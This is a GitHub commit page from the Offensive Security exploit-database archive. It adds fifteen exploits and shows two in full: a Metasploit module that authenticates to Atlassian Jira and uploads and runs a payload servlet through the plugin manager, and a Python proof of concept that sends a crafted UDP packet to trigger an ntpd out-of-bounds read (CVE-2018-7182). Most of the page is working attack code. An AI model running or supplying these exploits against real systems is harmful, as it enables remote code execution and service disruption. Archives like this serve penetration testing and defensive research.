Skip to content
This repository has been archived by the owner on Nov 28, 2022. It is now read-only.

Commit

Permalink
DB: 2018-11-15
Browse files Browse the repository at this point in the history
15 changes to exploits/shellcodes

AMPPS 2.7 - Denial of Service (PoC)
Bosch Video Management System 8.0 - Configuration Client Denial of Service (PoC)
ntpd 4.2.8p10 - Out-of-Bounds Read (PoC)
SwitchVPN for macOS 2.1012.03 - Privilege Escalation

Atlassian Jira - Authenticated Upload Code Execution (Metasploit)
iServiceOnline 1.0 - 'r' SQL Injection
Helpdezk 1.1.1 - 'query' SQL Injection
Electricks eCommerce 1.0 - Cross-Site Request Forgery (Change Admin Password)
EdTv 2 - 'id' SQL Injection
Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities
Advanced Comment System 1.0 - SQL Injection
Rmedia SMS 1.0 - SQL Injection
Pedidos 1.0 - SQL Injection
Electricks eCommerce 1.0 - Persistent Cross-Site Scripting
DoceboLMS 1.2 - SQL Injection / Arbitrary File Upload
  • Loading branch information
Offensive Security committed Nov 15, 2018
1 parent 3a7153b commit 1d25aee
Show file tree
Hide file tree
Showing 16 changed files with 1,310 additions and 0 deletions.
233 changes: 233 additions & 0 deletions exploits/java/remote/45851.rb
@@ -0,0 +1,233 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
'Description' => %q{
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager.
The payload is uploaded as a JAR archive containing a servlet using
a POST request against the UPM component. The check command will
test the validity of user supplied credentials and test for access
to the plugin manager.
},
'Author' => 'Alexander Gonzalez(dubfr33)',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
],
'Platform' => %w[java],
'Targets' =>
[
['Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => 'Feb 22 2018'))

register_options(
[
Opt::RPORT(2990),
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
])
end

def check
login_res = query_login
if login_res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
end
return CheckCode::Unknown unless login_res.code == 200
@session_id = get_sid(login_res)
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_upm(good_cookie)
if res.nil?
vprint_error('Unable to access the web application!')
return CheckCode::Unknown
elsif res.code == 200
return Exploit::CheckCode::Appears
else
vprint_status('Something went wrong, make sure host is up and options are correct!')
vprint_status("HTTP Response Code: #{res.code}")
return Exploit::CheckCode::Unknown
end
end

def exploit
unless access_login?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
print_status('Retrieving Session ID and XSRF token...')
auth_res = do_auth
good_sid = get_sid(auth_res)
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
res = query_for_upm_token(good_cookie)
if res.nil?
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
end
upm_token = res.headers['upm-token']
upload_exec(upm_token, good_cookie)
end

# Upload, execute, and remove servlet
def upload_exec(upm_token, good_cookie)
contents = ''
name = Rex::Text.rand_text_alpha(8..12)

atlassian_plugin_xml = %Q{
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
<plugin-info>
<description></description>
<version>1.0</version>
<vendor name="" url="" />
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
</plugin-info>
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
<description>"#{name}"</description>
<url-pattern>/metasploit/PayloadServlet</url-pattern>
</servlet>
</atlassian-plugin>
}

# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)

contents = zip.pack

boundary = rand_text_numeric(27)

data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"

print_status("Attempting to upload #{name}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
'vars_get' =>
{
'token' => "#{upm_token}"
},
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Cookie' => good_cookie.to_s
}
}, 25)

unless res && res.code == 202
print_status("Error uploading #{name}")
print_status("HTTP Response Code: #{res.code}")
print_status("Server Response: #{res.body}")
return
end

print_status("Successfully uploaded #{name}")
print_status("Executing #{name}")
Rex::ThreadSafe.sleep(3)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})

print_status("Deleting #{name}")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
'method' => 'DELETE',
'cookie' => good_cookie.to_s
})
end

def access_login?
res = query_login
if res.nil?
fail_with(Failure::Unknown, 'Unable to access the web application!')
end
return false unless res && res.code == 200
@session_id = get_sid(res)
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
return true
end

# Sends GET request to login page so the HTTP response can be used
def query_login
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
end

# Queries plugin manager to verify access
def query_upm(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end

# Queries API for response containing upm_token
def query_for_upm_token(good_cookie)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
'method' => 'GET',
'cookie' => good_cookie.to_s
})
end

# Authenticates to webapp with user supplied credentials
def do_auth
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
'method' => 'POST',
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
'vars_post' => {
'os_username' => datastore['HttpUsername'],
'os_password' => datastore['HttpPassword'],
'os_destination' => '',
'user_role' => '',
'atl_token' => '',
'login' => 'Log+In'
}
})
end

# Finds SID from HTTP response headers
def get_sid(res)
if res.nil?
return '' if res.blank?
end
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end
end
60 changes: 60 additions & 0 deletions exploits/linux/local/45846.py
@@ -0,0 +1,60 @@
# Exploit Title: ntpd 4.2.8p10 - Out-of-Bounds Read (PoC)
# Bug Discovery: Yihan Lian, a security researcher of Qihoo 360 GearTeam
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/blog/cve-2018-7182
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p10.tar.gz
# Version: ntp 4.2.8p6 - 4.2.8p10
# CVE: CVE-2018-7182

# Note: this PoC exploit only crashes the target when target is ran under a memory sanitiser such as ASan / Valgrind
#$ sudo valgrind ./ntpd/ntpd -n -c ~/resources/ntp.conf
#==50079== Memcheck, a memory error detector
#==50079== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
#==50079== Using Valgrind-3.10.0 and LibVEX; rerun with -h for copyright info
#==50079== Command: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
#==50079==
#12 Nov 09:26:19 ntpd[50079]: ntpd 4.2.8p10@1.3728-o Mon Nov 12 08:21:41 UTC 2018 (4): Starting
#12 Nov 09:26:19 ntpd[50079]: Command line: ./ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
#12 Nov 09:26:19 ntpd[50079]: proto: precision = 1.331 usec (-19)
#12 Nov 09:26:19 ntpd[50079]: switching logging to file /tmp/ntp.log
#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 0 v6wildcard [::]:123
#12 Nov 09:26:19 ntpd[50079]: Listen and drop on 1 v4wildcard 0.0.0.0:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 2 lo 127.0.0.1:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 3 eth0 172.16.193.132:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 4 lo [::1]:123
#12 Nov 09:26:19 ntpd[50079]: Listen normally on 5 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
#12 Nov 09:26:19 ntpd[50079]: Listening on routing socket on fd #22 for interface updates
#==50079== Invalid read of size 1
#==50079== at 0x12B8CF: ctl_getitem (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x131BF8: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== Address 0x6c6b396 is 0 bytes after a block of size 6 alloc'd
#==50079== at 0x4C28C20: malloc (vg_replace_malloc.c:296)
#==50079== by 0x4C2AFCF: realloc (vg_replace_malloc.c:692)
#==50079== by 0x17AC63: ereallocz (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x130A5F: add_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x130BC5: set_var (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x131636: read_mru_list (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12FD65: process_control (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x1440F9: receive (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12AAA3: ntpdmain (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079== by 0x12AC2C: main (in /home/magnus/projects/ntpd/ntp-4.2.8p10/ntpd/ntpd)
#==50079==

#!/usr/bin/env python

import sys
import socket

buf = ("\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\x39\x6e\x6f\x6e\x63" +
"\x65\x3d\x64\x61\x33\x65\x62\x35\x31\x65\x62\x30\x32\x38\x38\x38" +
"\x64\x61\x32\x30\x39\x36\x34\x31\x39\x63\x2c\x20\x66\x72\x61\x67" +
"\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x00\x31\x32\x37\x2e" +
"\x30\x2e\x30\x2e\x31\x00\x00\x00")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

0 comments on commit 1d25aee

Please sign in to comment.